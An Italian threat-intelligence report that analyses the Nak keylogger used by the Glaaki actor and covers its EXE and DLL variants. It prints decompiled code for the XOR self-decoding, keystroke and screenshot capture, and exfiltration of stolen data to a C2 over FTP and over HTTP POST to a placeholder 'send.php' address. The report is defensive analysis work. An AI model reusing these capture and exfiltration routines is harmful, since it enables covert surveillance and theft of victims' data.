Glaaki: analisi del keylogger Nak

Pubblicato: 20/11/2018 18:37

Categorie: Cyber Crime, Europe, Threat
Tipo di Informazione: Tattico, Tecnico
Distribuzione: **TLP:RED**[1] - Declassificato TLP WHITE in data 12/02/2021

Genesi

In numerosi documenti e sample utilizzati nelle campagne di attacco di **Glaaki** è stato individuato un keylogger identificato come **Nak**.

Assessment

Le attività di analisi del CIOC di TS-WAY hanno isolato un keylogger custom utilizzato nelle campagne di attacco di **Glaaki**, a cui è stato dato il nome **Nak** dalle informazioni PDB non eliminate in alcuni sample. Il malware viene distribuito sia sottoforma di binario **EXE** stand-alone sia come **DLL**.

Il keylogger, oltre alla **cattura delle digitazioni** utente, esegue periodicamente **screenshot del desktop**, estrae **dati dalla clipboard** e raccoglie **informazioni sulla macchina infetta** relative ad architettura, sistema operativo, supporti di memorizzazione e processi attivi.

La **comunicazione col C2**, in base alla variante del sample, può avvenire sia attraverso il **protocollo FTP**, con *credenziali di login hard-coded* nell'eseguibile, sia attraverso il **protocollo HTTP** con l'invio di **dati in parametri POST**.

Questo report in breve

- Rilevato nuovo keylogger custom in uso dall'avversario Glaaki
- Distribuito in più varianti sia come eseguibile EXE sia come libreria DLL
- Il malware supporta la cattura delle digitazioni utente, della clipboard, di screenshot del desktop e di informazioni relative alla macchina infetta
- La comunicazione col C2 può avvenire sia tramite FTP sia tramite HTTP POST

Analisi Tecnica

Il malware si presenta come un **file eseguibile PE** scritto originariamente in C++ e compilato per architetture Windows **32bit**. Nel corso del tempo ha subito alcuni lievi modifiche riguardanti il protocollo di comunicazione col C2 (FTP o HTTP) e la forma del compilato finale (eseguibile EXE o libreria DLL). Nell'articolo sono analizzate queste varianti principali.

Variante Nak.A

La variante identificata dal codice **Nak.A** è compilata come binario **EXE** stand-alone. Presenta funzionalità di **keylogging di base**, di **cattura screenshot** del desktop e di invio dati al C2 attraverso il **protocollo FTP**.

L'esecuzione parte dalla funzione **WinMain**, che si occupa di **fornire i permessi di memoria** corretti all'esecuzione della funzione principale del keylogger attraverso una chiamata a *VirtualProtect*, e in seguito di richiamarla. Il codice disassemblato è il seguente:

```
int __stdcall __noreturn WinMain(HINSTANCE hInstance, HINSTANCE
hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  int v4; // ecx
  int v5; // ecx
  int v6; // ecx
  void (__noreturn *v7)(); // eax
  int v8; // ecx
  void (__noreturn *v9)(); // eax
  int v10; // [esp-8h] [ebp-18h]
  DWORD flOldProtect; // [esp+4h] [ebp-Ch]
  int keylogger_size; // [esp+8h] [ebp-8h]
  void (__noreturn *keylogger_ptr)(); // [esp+Ch] [ebp-4h]

  keylogger_ptr = keylogger_main_sub;
  printf("Start address: 0x%08x\n", keylogger_main_sub);
  printf("End address: 0x%08x\n", nullsub_1);
  keylogger_size = (char *)nullsub_1 - (char *)keylogger_main_sub;
  printf("Delta: %d\n", (char *)nullsub_1 - (char *)keylogger_main_sub);
  VirtualProtect(keylogger_main_sub, (char *)nullsub_1 - (char
*)keylogger_main_sub, 0x40u, &flOldProtect);
  hexdump_sub(v4, (char *)nullsub_1 - (char *)keylogger_main_sub);
  v10 = v5;
  v6 = (int)keylogger_ptr + keylogger_size;
  v7 = keylogger_ptr;
  do
  {
    *(_BYTE *)v7 ^= 0x4Du;
    v7 = (void (__noreturn *)())((char *)v7 + 1);
  }
  while ( (signed int)v7 < v6 );
  hexdump_sub(v10, (char *)nullsub_1 - (char *)keylogger_main_sub);
  v8 = (int)keylogger_ptr + keylogger_size;
  v9 = keylogger_ptr;
  do
  {
    *(_BYTE *)v9 ^= 0x4Du;
    v9 = (void (__noreturn *)())((char *)v9 + 1);
  }
  while ( (signed int)v9 < v8 );
  keylogger_main_sub();
}
```

L’avversario ha deciso di non eliminare una serie di funzioni di **debug** (tra cui una che fornisce il dump esadecimale del codice della funzione del keylogger) e una serie di chiamate *printf* per la stampa degli indirizzi di memoria utilizzati.

Il codice principale del malware, che si occupa della raccolta delle digitazioni utente, è fornito dalla funzione rinominata *“keylogger_main_sub”*, la cui struttura complessiva è riassunta dallo pseudocodice seguente:

```
send_machine_info_sub(v0);
send_clipboard_info();
[... CUT ...]
GetTempPathA(0xFFu, WIN_TMP_PATH);
[... CUT ...]
string_copy((int)&output_file_path, &tmp_path, v0);
string_append(&output_file_path, "screeny.txt", 0xBu);
[... CUT ...]
output_file_path_ptr = (char *)&output_file_path;
[... CUT ...]
CreateThread(0, v22, (LPTHREAD_START_ROUTINE)c2_upload_keylog_file_loop_sub,
(LPVOID)v24, v25, (LPDWORD)v26);
CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)c2_upload_screenshot_file_loop_sub, 0, 0, 0);
[... CUT ...]
take_screenshot_sub(*(void **)&v21, v22,
(int)c2_upload_keylog_file_loop_ptr, v24, v25, v26);
while ( 1 )
{
    [... KEY CAPTURE LOOP ...]
}
```

L'esecuzione inizia con l'**invio al C2** di una serie di **informazioni raccolte sulla macchina infetta**. Tra queste sono presenti:

- Timestamp di lancio del keylogger
- Informazioni su architettura e sistema operativo in esecuzione
- Informazioni sui Drive di memorizzazione della macchina
- Lista dei processi in esecuzione
- Dati della clipboard al momento dell'esecuzione

L'esecuzione prosegue con l'impostazione di alcune variabili globali contenenti path di directory e di file generati durante l'esecuzione del keylogger. In particolare il path *"%TEMP%\screeny.txt"* viene espanso per la creazione di un file contenente gli **screenshot del desktop** catturati dal malware.

Vengono poi **lanciati due thread** che si occupano di **caricare** in maniera asincrona, ogni 60 secondi, il file con le **digitazioni catturate** e lo **screenshot del desktop** della macchina.

Infine viene catturato un primo **screenshot del desktop** e l'esecuzione passa a un **ciclo di cattura tasti** standard basato sulla API Windows *GetAsyncKeyState()*.

Approfondendo l'analisi del codice dei due thread asincroni di upload dati è possibile isolare il codice di **comunicazione col C2**, di cui riportiamo uno snippet:

```
    v15 = InternetOpenA(0, 1u, 0, 0, 0);
    v41 = v15;
    if ( !v15 )
      break;
    v16 = InternetConnectA(v15, C2_SERVER_HOSTNAME, 0x15u, USERNAME,
PASSWORD, 1u, 0x8000000u, 0);
    if ( !v16 )
    {
      write_to_temp_file_sub("\n[!] Errore nello stabilire la sessione FTP:
");
      v1 = Sleep;
      goto LABEL_15;
    }
   [... CUT ...]
    if ( FtpPutFileA(v16, WIN_TMP_PATH, html_keylog_file_path_2, 2u, 0) )
    {
      v35 = (const CHAR *)&lpFileName;
      if ( v126 >= 0x10 )
        v35 = lpFileName;
      DeleteFileA(v35);
      DeleteFileA(WIN_TMP_PATH);
      sub_403E70();
      sub_404F60();
      InternetCloseHandle(v41);
      InternetCloseHandle(v16);
      v37 = 900000;
    }
    else
    {
      write_to_temp_file_sub("\n[!] Errore nell'upload del file: ");
      InternetCloseHandle(v41);
      InternetCloseHandle(v16);
      v37 = 60000;
    }
    v1 = Sleep;
    Sleep(v37);
```

Il trasferimento dati avviene attraverso il **protocollo FTP**, utilizzando un username e una password preconfigurata nel codice del malware.

Lato server la gerarchia delle directory è strutturata su più cartelle. Un primo livello suddivide i dati per macchina infetta utilizzando nei nomi delle cartelle lo username dell'utente con cui il keylogger è in esecuzione. Al secondo livello le informazioni sono **divise per data**.
All'interno delle directory di questo secondo livello vengono caricate due tipologie di file: *"log-%USERNAME%-%TIMESTAMP%.html"* contenente i dati catturati dal keylogger (primo thread) e *"SCREEN-%USERNAME%"* contenente gli screenshot del desktop (secondo thread).

Tra le informazioni di debug lasciate dall'attaccante è presente anche il path del file **PDB**: *"E:\nak_ultimate\nak_ultimate\Release\nak_ultimate.pdb"*, che ha permesso di dare un nome al malware analizzato.

Variante Nak.B

La variante **Nak.B** si presenta come una **DLL** per architetture Windows a **32bit**. La differenza principale consiste nell'uso del protocollo **HTTP** per la comunicazione col **C2**.

Per questa variante l'esecuzione parte dalla funzione **DLLMain** che, oltre ad allocare la memoria per l'esecuzione della routine principale del keylogger e lanciarla come thread separato, contiene al suo interno un ciclo di **cattura ed invio di screenshot** del desktop:

```
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
lpvReserved)
{
  int v4; // ecx
  void *v5; // ecx
  unsigned int v6; // esi
  WCHAR Filename; // [esp+8h] [ebp-210h]

  if ( fdwReason == 1 )
  {
    dword_10075CA8 = (int)hinstDLL;
    GetModuleFileNameW(0, &Filename, 0x104u);
    sub_10002EE0(v4);
    hMutex = CreateMutexA(0, 0, 0);
    dword_10074B7C = (char *)malloc(0x400u);
    *dword_10074B7C = 0;
    send_machine_info_sub(v5);
    dword_10075484 = (int)CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)keylogger_main_sub, 0, 0, 0);
    v6 = 0;
    while ( 1 )
    {
      if ( !(v6 % 0x64) )
      {
        take_screenshot_sub();
        send_data_to_c2_sub(dword_100741C4, dword_10074B78, "image=");
      }
      ++v6;
      Sleep(0x3E8u);
    }
  }
  if ( fdwReason == 6 && lpvReserved )
    *(_DWORD *)lpvReserved = dword_10075CA8;
  return 1;
}
```

Anche in questa variante del malware è presente una **fase preliminare di raccolta ed invio informazioni** sulla macchina infetta del tutto simile a quella di Nak.A.

La comunicazione col C2 è gestita da una diversa funzione, che strutta il protocollo **HTTP** ed invia i dati al C2 all'interno di **argomenti POST**:

```
BOOL __usercall send_data_to_c2_sub@<eax>(int argument_value_len@<edx>,
const char *argument_value_str@<ecx>, const char *post_argument_name_str)
{
  int argument_len; // edi
  const char *v4; // ebx
  void *v5; // ecx
  int data_mem; // eax
  time_t v7; // esi
  const char *argument_value; // ST20_4
  struct tm *v9; // ebx
  const char *v10; // edi
  char *v11; // ST38_4
  char *v12; // edi

  argument_len = argument_value_len;
  v4 = argument_value_str;
  sub_100061E0(3);
  data_mem = sub_100060B0(v5);
  v7 = 0;
  if ( data_mem )
  {
    argument_value = v4;
    v9 = (struct tm *)data_mem;
    v10 = sub_10005EE0(data_mem, argument_value, argument_len);
    v11 = (char *)v10;
    v12 = (char *)malloc(strlen(post_argument_name_str) + strlen(v10) + 1);
    strcpy(v12, post_argument_name_str);
    strcat(v12, v11);
    sub_10006160((int)v9, 10002, "http://C2.WEB.ADDRESS/send.php");
    sub_10006160((int)v9, 10015, v12);
    v7 = _mkgmtime(v9);
    sub_10006090(v9);
    j__free(v11);
    free(v12);
  }
  sub_10006190();
  return v7 == 0;
}
```

Le informazioni generate dal malware vengono inviate ad una pagina *“send.php”* in due **parametri POST** distinti:*“image”*: per l’invio degli screenshot del desktop e*“text”*: per l’invio di informazioni sulla macchina, dati del keylogger e altre tipologie di dati testuali.

Eventi IOC

1. [245582] Investigations on old version of Nak keylogger

Note

[1] Per maggiori informazioni riguardo le TLP si e' pregati di consultare https://www.us-cert.gov/tlp

Contatti

intel@ts-way.com